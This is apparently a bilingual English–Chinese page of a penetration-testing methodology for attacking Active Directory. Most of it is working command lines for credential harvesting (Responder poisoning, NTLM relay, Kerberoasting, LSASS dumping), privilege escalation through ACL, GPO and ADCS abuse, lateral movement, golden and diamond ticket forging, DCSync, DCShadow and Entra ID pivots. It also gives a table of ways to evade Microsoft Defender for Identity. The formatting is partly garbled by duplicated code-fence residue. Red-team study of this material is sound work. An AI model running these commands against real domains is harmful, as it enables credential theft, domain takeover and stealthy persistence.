Back to Details

offensive-active-directory

Compare original and translation side by side

🇺🇸

Original

English
🇨🇳

Translation

Chinese

Active Directory — Offensive Testing Methodology

Active Directory — 攻击性测试方法论

Quick Workflow

快速工作流

  1. Recon AD structure offline (BloodHound, ADExplorer snapshot) — minimize live queries
  2. Harvest creds via poisoning, Kerberoasting, ASREProast, or LSASS where allowed
  3. Map attack paths to Domain Admin / Enterprise Admin / Tier 0
  4. Execute path with lowest detection cost, validate at each hop
  5. Establish persistence and document every action with timestamps
  1. 离线侦察 AD 结构（BloodHound、ADExplorer snapshot）— 尽量减少实时查询
  2. 通过 poisoning、Kerberoasting、ASREProast 或 LSASS 收集凭据（在允许的情况下）
  3. 映射通往 Domain Admin / Enterprise Admin / Tier 0 的攻击路径
  4. 执行检测成本最低的路径，并在每一跳进行验证
  5. 建立持久化，并记录每一次操作及时间戳

Reconnaissance

侦察

BloodHound Collection

BloodHound 数据收集

powershell
undefined
powershell
undefined

SharpHound (CSharp collector) — most stealthy with throttling

SharpHound (CSharp collector) — most stealthy with throttling

SharpHound.exe -c All,GPOLocalGroup --Throttle 1000 --Jitter 30 --ZipFileName recon.zip
SharpHound.exe -c All,GPOLocalGroup --Throttle 1000 --Jitter 30 --ZipFileName recon.zip

Stealth collection (DC-only, avoids workstation noise)

Stealth collection (DC-only, avoids workstation noise)

SharpHound.exe -c DCOnly --Stealth
SharpHound.exe -c DCOnly --Stealth

Bloodhound.py from Linux (no Windows host needed)

Bloodhound.py from Linux (no Windows host needed)

bloodhound-python -d corp.local -u user -p pass -ns 10.0.0.1 -c All
undefined
bloodhound-python -d corp.local -u user -p pass -ns 10.0.0.1 -c All
undefined

PowerView (No Tool Drop)

PowerView（无需投放工具）

powershell
undefined
powershell
undefined

Domain enumeration without binaries

Domain enumeration without binaries

$d = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() Get-DomainUser -SPN | Select samaccountname,serviceprincipalname Get-DomainComputer -Unconstrained Get-DomainGPO | ?{$.gpcmachineextensionnames -match "Restricted Groups"} Get-DomainObjectAcl -Identity 'Domain Admins' -ResolveGUIDs | ?{$.ActiveDirectoryRights -match 'WriteDacl|GenericAll|WriteOwner'}
undefined
$d = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() Get-DomainUser -SPN | Select samaccountname,serviceprincipalname Get-DomainComputer -Unconstrained Get-DomainGPO | ?{$.gpcmachineextensionnames -match "Restricted Groups"} Get-DomainObjectAcl -Identity 'Domain Admins' -ResolveGUIDs | ?{$.ActiveDirectoryRights -match 'WriteDacl|GenericAll|WriteOwner'}
undefined

ADExplorer Offline

ADExplorer 离线分析

undefined
undefined

Take snapshot from any low-priv user, analyze offline

Take snapshot from any low-priv user, analyze offline

ADExplorer.exe → File → Create Snapshot
ADExplorer.exe → File → Create Snapshot

Convert to BloodHound format

Convert to BloodHound format

ADExplorerSnapshot.py snapshot.dat -o output/

---
ADExplorerSnapshot.py snapshot.dat -o output/

---

Credential Harvesting

凭据收集

LLMNR / NBT-NS / mDNS Poisoning

LLMNR / NBT-NS / mDNS 投毒

bash
undefined
bash
undefined

Capture NetNTLMv2 hashes from broadcast resolution

Capture NetNTLMv2 hashes from broadcast resolution

responder -I eth0 -wrf
responder -I eth0 -wrf

Inveigh (Windows-side, when you have a foothold)

Inveigh (Windows-side, when you have a foothold)

Invoke-Inveigh -ConsoleOutput Y -NBNS Y -mDNS Y -HTTP Y

Crack with hashcat mode 5600. If cracking fails, relay instead.
Invoke-Inveigh -ConsoleOutput Y -NBNS Y -mDNS Y -HTTP Y

使用 hashcat mode 5600 破解。如果破解失败，则改用 relay。

NTLM Relay

NTLM Relay

bash
undefined
bash
undefined

Identify relay targets (no SMB signing, LDAP signing not required)

Identify relay targets (no SMB signing, LDAP signing not required)

nxc smb 10.0.0.0/24 --gen-relay-list relay-targets.txt
nxc smb 10.0.0.0/24 --gen-relay-list relay-targets.txt

Relay to LDAP/LDAPS for ACL abuse, ADCS for cert request

Relay to LDAP/LDAPS for ACL abuse, ADCS for cert request

impacket-ntlmrelayx -tf relay-targets.txt -smb2support
--escalate-user attacker --delegate-access
impacket-ntlmrelayx -tf relay-targets.txt -smb2support
--escalate-user attacker --delegate-access

Relay to ADCS Web Enrollment (ESC8) — requires HTTP endpoint up

Relay to ADCS Web Enrollment (ESC8) — requires HTTP endpoint up

impacket-ntlmrelayx -t http://ca/certsrv/certfnsh.asp
--adcs --template DomainController
undefined
impacket-ntlmrelayx -t http://ca/certsrv/certfnsh.asp
--adcs --template DomainController
undefined

Kerberoasting

Kerberoasting

powershell
undefined
powershell
undefined

Request TGS for all SPN-bearing accounts

Request TGS for all SPN-bearing accounts

Rubeus.exe kerberoast /outfile:tgs.txt /nowrap
Rubeus.exe kerberoast /outfile:tgs.txt /nowrap

AES-only accounts (harder to crack but worth attempting)

AES-only accounts (harder to crack but worth attempting)

Rubeus.exe kerberoast /aes /outfile:tgs_aes.txt

```bash
Rubeus.exe kerberoast /aes /outfile:tgs_aes.txt

```bash

Cross-platform from Linux

Cross-platform from Linux

impacket-GetUserSPNs corp.local/user:pass -dc-ip 10.0.0.1 -request hashcat -m 13100 tgs.txt rockyou.txt -r OneRuleToRuleThemAll.rule
undefined
impacket-GetUserSPNs corp.local/user:pass -dc-ip 10.0.0.1 -request hashcat -m 13100 tgs.txt rockyou.txt -r OneRuleToRuleThemAll.rule
undefined

ASREProasting

ASREProasting

bash
undefined
bash
undefined

Find users with DONT_REQUIRE_PREAUTH set

Find users with DONT_REQUIRE_PREAUTH set

impacket-GetNPUsers corp.local/ -usersfile users.txt -dc-ip 10.0.0.1 -no-pass hashcat -m 18200 asrep.txt rockyou.txt
undefined
impacket-GetNPUsers corp.local/ -usersfile users.txt -dc-ip 10.0.0.1 -no-pass hashcat -m 18200 asrep.txt rockyou.txt
undefined

LSASS / SAM Dumping

LSASS / SAM Dump

cmd
:: Modern, AV-friendly: comsvcs.dll minidump
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <PID> C:\out.dmp full

:: Task Manager → lsass.exe → Create dump file (GUI route, no binary drop)

:: nanodump (handle duplication, no MiniDumpWriteDump)
nanodump.exe --pid <PID> -w lsass.dmp --valid
Parse with Mimikatz or pypykatz offline:
bash
pypykatz lsa minidump lsass.dmp
cmd
:: Modern, AV-friendly: comsvcs.dll minidump
rundll32.exe C:\\Windows\\System32\\comsvcs.dll, MiniDump <PID> C:\\out.dmp full

:: Task Manager → lsass.exe → Create dump file (GUI route, no binary drop)

:: nanodump (handle duplication, no MiniDumpWriteDump)
nanodump.exe --pid <PID> -w lsass.dmp --valid
可离线使用 Mimikatz 或 pypykatz 解析：
bash
pypykatz lsa minidump lsass.dmp

Privilege Escalation Within AD

AD 内部权限提升

ACL Abuse

ACL 滥用

RightAbuse
GenericAll
/ 
GenericWrite
Add SPN → Kerberoast; reset password; add member
WriteDacl
Grant yourself DCSync rights, then DCSync
WriteOwner
Take ownership → grant rights → exploit
AllExtendedRights
(User)		Force password change
AllExtendedRights
(Domain)		DCSync
AddMember
Add self to privileged group
WriteSPN
Set SPN, kerberoast target
powershell
undefined
权限滥用方式
GenericAll
/ 
GenericWrite
添加 SPN → Kerberoast；重置密码；添加成员
WriteDacl
授予自己 DCSync 权限，然后执行 DCSync
WriteOwner
取得所有权 → 授予权限 → 利用
AllExtendedRights
(User)		强制更改密码
AllExtendedRights
(Domain)		DCSync
AddMember
将自己添加到特权组
WriteSPN
设置 SPN，成为 kerberoast 目标
powershell
undefined

Targeted Kerberoast (write SPN, roast, remove SPN)

Targeted Kerberoast (write SPN, roast, remove SPN)

Set-DomainObject -Identity victim -Set @{serviceprincipalname='fake/SPN'} Rubeus.exe kerberoast /user:victim Set-DomainObject -Identity victim -Clear serviceprincipalname
Set-DomainObject -Identity victim -Set @{serviceprincipalname='fake/SPN'} Rubeus.exe kerberoast /user:victim Set-DomainObject -Identity victim -Clear serviceprincipalname

Grant DCSync via WriteDacl

Grant DCSync via WriteDacl

Add-DomainObjectAcl -TargetIdentity 'DC=corp,DC=local'
-PrincipalIdentity attacker -Rights DCSync
undefined
Add-DomainObjectAcl -TargetIdentity 'DC=corp,DC=local'
-PrincipalIdentity attacker -Rights DCSync
undefined

Kerberos Delegation

Kerberos Delegation

powershell
undefined
powershell
undefined

Find delegation

Find delegation

Get-DomainComputer -Unconstrained Get-DomainUser -TrustedToAuth Get-DomainComputer -TrustedToAuth
Get-DomainComputer -Unconstrained Get-DomainUser -TrustedToAuth Get-DomainComputer -TrustedToAuth

Unconstrained → wait for / coerce DC auth, capture TGT

Unconstrained → wait for / coerce DC auth, capture TGT

Rubeus.exe monitor /interval:5 /nowrap
Rubeus.exe monitor /interval:5 /nowrap

Constrained (S4U2self/S4U2proxy) — impersonate any user to allowed SPN

Constrained (S4U2self/S4U2proxy) — impersonate any user to allowed SPN

Rubeus.exe s4u /user:svc_acct /rc4:<hash> /impersonateuser:Administrator
/msdsspn:cifs/dc.corp.local /ptt
Rubeus.exe s4u /user:svc_acct /rc4:<hash> /impersonateuser:Administrator
/msdsspn:cifs/dc.corp.local /ptt

Resource-Based Constrained Delegation (RBCD) — write msDS-AllowedToActOnBehalfOfOtherIdentity

Resource-Based Constrained Delegation (RBCD) — write msDS-AllowedToActOnBehalfOfOtherIdentity

Requires GenericAll/GenericWrite on the target computer object

Requires GenericAll/GenericWrite on the target computer object

undefined
undefined

Coercion Primitives

认证强制原语

TechniqueTool / RPC
PetitPotam
MS-EFSRPC
(
EfsRpcOpenFileRaw
, 
EfsRpcEncryptFileSrv
)
PrinterBug
MS-RPRN
(
RpcRemoteFindFirstPrinterChangeNotificationEx
)
DFSCoerce
MS-DFSNM
(
NetrDfsRemoveStdRoot
)
ShadowCoerce
MS-FSRVP
WebDAVSearch-and-replace UNC path embedded in any web fetch
bash
undefined
技术工具 / RPC
PetitPotam
MS-EFSRPC
(
EfsRpcOpenFileRaw
, 
EfsRpcEncryptFileSrv
)
PrinterBug
MS-RPRN
(
RpcRemoteFindFirstPrinterChangeNotificationEx
)
DFSCoerce
MS-DFSNM
(
NetrDfsRemoveStdRoot
)
ShadowCoerce
MS-FSRVP
WebDAV搜索并替换嵌入任意 Web 请求中的 UNC 路径
bash
undefined

Coerce + relay full chain

Coerce + relay full chain

impacket-ntlmrelayx -t ldap://dc -smb2support --delegate-access & PetitPotam.py -u low -p pass attacker-ip dc-ip
impacket-ntlmrelayx -t ldap://dc -smb2support --delegate-access & PetitPotam.py -u low -p pass attacker-ip dc-ip

Result: RBCD set, S4U → DA on coerced machine

Result: RBCD set, S4U → DA on coerced machine

undefined
undefined

GPO Abuse

GPO 滥用

powershell
undefined
powershell
undefined

Find GPOs you can edit

Find GPOs you can edit

Get-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs | ?{ $.SecurityIdentifier -eq (Get-DomainUser current).objectsid ` -and $.ActiveDirectoryRights -match 'WriteProperty|WriteDacl' }
Get-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs | ?{ $.SecurityIdentifier -eq (Get-DomainUser current).objectsid ` -and $.ActiveDirectoryRights -match 'WriteProperty|WriteDacl' }

SharpGPOAbuse — add scheduled task / immediate task to GPO

SharpGPOAbuse — add scheduled task / immediate task to GPO

SharpGPOAbuse.exe --AddComputerTask --TaskName Update --Author NT\System
--Command cmd.exe --Arguments "/c net group 'Domain Admins' attacker /add /domain"
--GPOName "Workstation Policy"

---
SharpGPOAbuse.exe --AddComputerTask --TaskName Update --Author NT\System
--Command cmd.exe --Arguments "/c net group 'Domain Admins' attacker /add /domain"
--GPOName "Workstation Policy"

---

ADCS Abuse — ESC1 through ESC15

ADCS 滥用 — ESC1 至 ESC15

Enumeration

枚举

bash
certipy find -u user@corp.local -p pass -dc-ip 10.0.0.1 -vulnerable -stdout
bash
certipy find -u user@corp.local -p pass -dc-ip 10.0.0.1 -vulnerable -stdout

Common Misconfigurations

常见错误配置

IDMisconfigExploitation
ESC1Client Auth + ENROLLEE_SUPPLIES_SUBJECTRequest cert with arbitrary UPN
ESC2Any Purpose EKURequest cert valid for any use
ESC3Enrollment AgentRequest agent cert, then on-behalf-of any user
ESC4Vulnerable template ACLModify template to ESC1
ESC6EDITF_ATTRIBUTESUBJECTALTNAME2 on CASAN injection on any template
ESC7Vulnerable CA ACL (ManageCA)Approve own pending requests
ESC8Web Enrollment HTTP + no EPANTLM relay → cert
ESC9No security extension + UPNUPN spoofing post-account-rename
ESC10StrongCertificateBindingEnforcement weakUPN spoofing without rename
ESC11RPC unprotected (no ICertPassage IF_ENFORCEENCRYPTICERTREQUEST)Relay over RPC
ESC13Issuance policy linked to groupCert grants group membership
ESC14altSecurityIdentities writeMap attacker cert to admin
ESC15EKUwu — schema v1 templatesInject EKU at request time
ID错误配置利用方式
ESC1Client Auth + ENROLLEE_SUPPLIES_SUBJECT请求包含任意 UPN 的证书
ESC2Any Purpose EKU请求可用于任意用途的证书
ESC3Enrollment Agent请求 agent 证书，然后代表任意用户执行操作
ESC4Vulnerable template ACL修改模板以利用 ESC1
ESC6CA 上的 EDITF_ATTRIBUTESUBJECTALTNAME2对任意模板注入 SAN
ESC7Vulnerable CA ACL (ManageCA)批准自己提交的待处理请求
ESC8Web Enrollment HTTP + no EPANTLM relay → 证书
ESC9缺少 security extension + UPN账户重命名后进行 UPN 欺骗
ESC10StrongCertificateBindingEnforcement 强度较弱无需重命名即可进行 UPN 欺骗
ESC11RPC 未受保护（无 ICertPassage IF_ENFORCEENCRYPTICERTREQUEST）通过 RPC relay
ESC13Issuance policy 关联到组证书授予组成员资格
ESC14可写 altSecurityIdentities将攻击者证书映射到管理员
ESC15EKUwu — schema v1 模板在请求时注入 EKU

ESC1 Exploitation

ESC1 利用

bash
undefined
bash
undefined

Request cert as Administrator

Request cert as Administrator

certipy req -u user@corp.local -p pass -ca CORP-CA -template VulnTemplate
-upn administrator@corp.local
certipy req -u user@corp.local -p pass -ca CORP-CA -template VulnTemplate
-upn administrator@corp.local

Use cert to get TGT and NT hash via UnPAC-the-Hash

Use cert to get TGT and NT hash via UnPAC-the-Hash

certipy auth -pfx administrator.pfx -dc-ip 10.0.0.1
undefined
certipy auth -pfx administrator.pfx -dc-ip 10.0.0.1
undefined

ESC8 (Web Enrollment Relay)

ESC8（Web Enrollment Relay）

bash
undefined
bash
undefined

Coerce any DC, relay to ADCS Web Enrollment, request DC cert

Coerce any DC, relay to ADCS Web Enrollment, request DC cert

impacket-ntlmrelayx -t http://ca/certsrv/certfnsh.asp
--adcs --template DomainController & PetitPotam.py attacker-ip dc.corp.local
impacket-ntlmrelayx -t http://ca/certsrv/certfnsh.asp
--adcs --template DomainController & PetitPotam.py attacker-ip dc.corp.local

Result: cert for DC$ → TGT → DCSync

Result: cert for DC$ → TGT → DCSync


---

---

Lateral Movement

横向移动

Pass-the-Hash / Overpass-the-Hash

Pass-the-Hash / Overpass-the-Hash

bash
undefined
bash
undefined

PTH with NT hash

PTH with NT hash

nxc smb 10.0.0.0/24 -u admin -H <NThash> --local-auth impacket-psexec corp/admin@target -hashes :<NThash>
nxc smb 10.0.0.0/24 -u admin -H <NThash> --local-auth impacket-psexec corp/admin@target -hashes :<NThash>

Overpass-the-Hash (NT hash → TGT, useful for Kerberos-only targets)

Overpass-the-Hash (NT hash → TGT, useful for Kerberos-only targets)

Rubeus.exe asktgt /user:admin /rc4:<NThash> /ptt
undefined
Rubeus.exe asktgt /user:admin /rc4:<NThash> /ptt
undefined

Pass-the-Ticket

Pass-the-Ticket

powershell
undefined
powershell
undefined

Inject TGT

Inject TGT

Rubeus.exe ptt /ticket:base64.kirbi
Rubeus.exe ptt /ticket:base64.kirbi

Or from .ccache

Or from .ccache

KRB5CCNAME=admin.ccache impacket-secretsdump -k -no-pass dc.corp.local
undefined
KRB5CCNAME=admin.ccache impacket-secretsdump -k -no-pass dc.corp.local
undefined

Silent Lateral Tools

静默横向移动工具

bash
undefined
bash
undefined

WinRM (no event logs in default channel for command exec)

WinRM (no event logs in default channel for command exec)

evil-winrm -i target -u admin -H <hash>
evil-winrm -i target -u admin -H <hash>

SMB exec without service creation (uses task scheduler)

SMB exec without service creation (uses task scheduler)

impacket-atexec corp/admin@target -hashes :<hash> "whoami"
impacket-atexec corp/admin@target -hashes :<hash> "whoami"

WMI

WMI

impacket-wmiexec corp/admin@target -hashes :<hash>
impacket-wmiexec corp/admin@target -hashes :<hash>

DCOM (MMC20.Application, ShellWindows, ShellBrowserWindow)

DCOM (MMC20.Application, ShellWindows, ShellBrowserWindow)

Invoke-DCOM -ComputerName target -Method MMC20 -Command "calc.exe"

---
Invoke-DCOM -ComputerName target -Method MMC20 -Command "calc.exe"

---

Persistence

持久化

Golden Ticket (krbtgt forge)

Golden Ticket（krbtgt 伪造）

bash
undefined
bash
undefined

Requires krbtgt NT hash (from DCSync)

Requires krbtgt NT hash (from DCSync)

impacket-ticketer -nthash <krbtgt-NT> -domain-sid S-1-5-21-... -domain corp.local Administrator KRB5CCNAME=Administrator.ccache impacket-psexec -k -no-pass dc.corp.local
undefined
impacket-ticketer -nthash <krbtgt-NT> -domain-sid S-1-5-21-... -domain corp.local Administrator KRB5CCNAME=Administrator.ccache impacket-psexec -k -no-pass dc.corp.local
undefined

Silver Ticket (per-service forge)

Silver Ticket（按服务伪造）

bash
undefined
bash
undefined

Forge TGS for a specific service using its account hash

Forge TGS for a specific service using its account hash

impacket-ticketer -nthash <svc-NT> -domain-sid <SID> -domain corp.local
-spn cifs/server.corp.local Administrator
undefined
impacket-ticketer -nthash <svc-NT> -domain-sid <SID> -domain corp.local
-spn cifs/server.corp.local Administrator
undefined

Diamond / Sapphire Ticket (modern, evades MDI on krbtgt)

Diamond / Sapphire Ticket（现代变体，可规避针对 krbtgt 的 MDI 检测）

bash
undefined
bash
undefined

Diamond — modify legitimate TGT in-flight (no krbtgt hash on wire)

Diamond — modify legitimate TGT in-flight (no krbtgt hash on wire)

Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 /groups:512
undefined
Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 /groups:512
undefined

DCSync

DCSync

bash
impacket-secretsdump -just-dc-user 'corp/krbtgt' corp/admin@dc -hashes :<hash>
bash
impacket-secretsdump -just-dc-user 'corp/krbtgt' corp/admin@dc -hashes :<hash>

In-memory PowerShell variant (Mimikatz)

In-memory PowerShell variant (Mimikatz)

Invoke-Mimikatz -Command '"lsadump::dcsync /user:krbtgt"'
undefined
Invoke-Mimikatz -Command '"lsadump::dcsync /user:krbtgt"'
undefined

DCShadow (register rogue DC, push changes)

DCShadow（注册 rogue DC 并推送更改）

mimikatz # !+
mimikatz # !processtoken
mimikatz # lsadump::dcshadow /object:CN=victim,... /attribute:primaryGroupID /value:519
mimikatz # lsadump::dcshadow /push
mimikatz # !+
mimikatz # !processtoken
mimikatz # lsadump::dcshadow /object:CN=victim,... /attribute:primaryGroupID /value:519
mimikatz # lsadump::dcshadow /push

AdminSDHolder

AdminSDHolder

Add ACE granting your account 
GenericAll
on 
CN=AdminSDHolder,CN=System,DC=corp,DC=local
. SDProp propagates to all protected groups every 60 minutes.
在 
CN=AdminSDHolder,CN=System,DC=corp,DC=local
上添加一个 ACE，向攻击者账户授予 
GenericAll
。SDProp 每 60 分钟将该权限传播到所有受保护组。

Forest & Trust Attacks

Forest 与信任攻击

powershell
undefined
powershell
undefined

Map trusts

Map trusts

Get-DomainTrust -SearchBase "DC=corp,DC=local" Get-ForestTrust
Get-DomainTrust -SearchBase "DC=corp,DC=local" Get-ForestTrust

SID History injection (cross-forest if SID filtering disabled)

SID History injection (cross-forest if SID filtering disabled)

ExtraSids in golden ticket → admin in trusted forest

ExtraSids in golden ticket → admin in trusted forest

impacket-ticketer -nthash <krbtgt> -domain-sid <child-SID>
-extra-sid S-1-5-21-<parent>-519 -domain child.corp.local Administrator
impacket-ticketer -nthash <krbtgt> -domain-sid <child-SID>
-extra-sid S-1-5-21-<parent>-519 -domain child.corp.local Administrator

Trust ticket forging (inter-realm TGT)

Trust ticket forging (inter-realm TGT)

Rubeus.exe asktgs /service:krbtgt/parent.local /ticket:trust-ticket.kirbi

---
Rubeus.exe asktgs /service:krbtgt/parent.local /ticket:trust-ticket.kirbi

---

Hybrid AD / Entra ID (Azure AD) Pivots

Hybrid AD / Entra ID（Azure AD）枢轴

PivotPath
AAD Connect server compromiseDump MSOL_ account → DCSync on-prem
Seamless SSOForge Kerberos ticket for 
AZUREADSSOACC$
→ cloud SSO any user
PTA agentDLL hijack 
Microsoft.Azure.SecurityTokenService
→ harvest cleartext
PHS hash syncRead on-prem hashes from AAD Connect SQL (ADSync DB)
Federated trustForge SAML token via stolen ADFS token-signing cert (Golden SAML)
Pass-the-PRTSteal PRT cookie from device → cloud session as user
powershell
undefined
枢轴路径
攻陷 AAD Connect 服务器Dump MSOL_ 账户 → 对本地 AD 执行 DCSync
Seamless SSO为 
AZUREADSSOACC$
伪造 Kerberos 票据 → 以任意用户身份进行 cloud SSO
PTA agentDLL 劫持 
Microsoft.Azure.SecurityTokenService
→ 收集明文凭据
PHS hash sync从 AAD Connect SQL（ADSync DB）读取本地哈希
联合信任利用窃取的 ADFS token-signing cert 伪造 SAML token（Golden SAML）
Pass-the-PRT从设备窃取 PRT cookie → 以该用户身份建立 cloud session
powershell
undefined

AADInternals — Hybrid identity attack toolkit

AADInternals — Hybrid identity attack toolkit

Get-AADIntADSyncCredentials # Extract MSOL_ creds from AAD Connect Open-AADIntOffice365Portal -AccessToken $token New-AADIntSAMLToken -ImmutableID 'a==' -Issuer 'http://sts/adfs/services/trust'
-PfxFileName 'token-signing.pfx'

---
Get-AADIntADSyncCredentials # Extract MSOL_ creds from AAD Connect Open-AADIntOffice365Portal -AccessToken $token New-AADIntSAMLToken -ImmutableID 'a==' -Issuer 'http://sts/adfs/services/trust'
-PfxFileName 'token-signing.pfx'

---

Detection Evasion (MDI / Defender for Identity)

检测规避（MDI / Defender for Identity）

MDI DetectorEvasion
Honeytoken account accessAlways check 
description
and recent activity before hitting accounts
Reconnaissance via SAMRUse ADWS / LDAP-only collection, throttle
Suspicious Kerberos delegationAvoid noisy 
S4U2self
chains on monitored DCs
Golden/Silver Ticket detectionUse Diamond/Sapphire variants; match legitimate ticket lifetime/encryption
DCSync from non-DCRelay through legitimate replication-permitted accounts
Pass-the-HashUse overpass-the-hash to convert to Kerberos before lateraling
powershell
undefined
MDI 检测器规避方式
Honeytoken 账户访问操作账户前，务必检查 
description
和近期活动
通过 SAMR 进行侦察仅使用 ADWS / LDAP 收集并进行限速
可疑的 Kerberos delegation避免在受监控的 DC 上产生噪声较大的 
S4U2self
链
Golden/Silver Ticket 检测使用 Diamond/Sapphire 变体；匹配合法票据的生存期与加密方式
来自非 DC 的 DCSync通过合法的、具备复制权限的账户执行 relay
Pass-the-Hash在横向移动前使用 overpass-the-hash 将其转换为 Kerberos
powershell
undefined

Identify MDI sensors before noisy actions

Identify MDI sensors before noisy actions

Get-DomainComputer -SPN 'MicrosoftATA' Get-DomainComputer | ?{ $_.servicePrincipalName -match 'AATPSensor' }

---
Get-DomainComputer -SPN 'MicrosoftATA' Get-DomainComputer | ?{ $_.servicePrincipalName -match 'AATPSensor' }

---

Engagement Cheatsheet

演练速查表

bash
undefined
bash
undefined

1. Anonymous LDAP enum (no creds)

1. Anonymous LDAP enum (no creds)

ldapsearch -x -H ldap://dc -s base -b "" "(objectclass=*)" nxc ldap dc -u '' -p '' --users
ldapsearch -x -H ldap://dc -s base -b "" "(objectclass=*)" nxc ldap dc -u '' -p '' --users

2. Null SMB session

2. Null SMB session

nxc smb dc -u '' -p '' --shares impacket-rpcclient -U '' dc -no-pass
nxc smb dc -u '' -p '' --shares impacket-rpcclient -U '' dc -no-pass

3. Password spray (low and slow)

3. Password spray (low and slow)

nxc smb dc -u users.txt -p 'Winter2025!' --continue-on-success
nxc smb dc -u users.txt -p 'Winter2025!' --continue-on-success

4. Once authed: full enum + BloodHound

4. Once authed: full enum + BloodHound

bloodhound-python -d corp.local -u user -p pass -ns dc -c All --zip
bloodhound-python -d corp.local -u user -p pass -ns dc -c All --zip

5. Identify attack path → execute → loot → persist

5. Identify attack path → execute → loot → persist


---

---

Key References

关键参考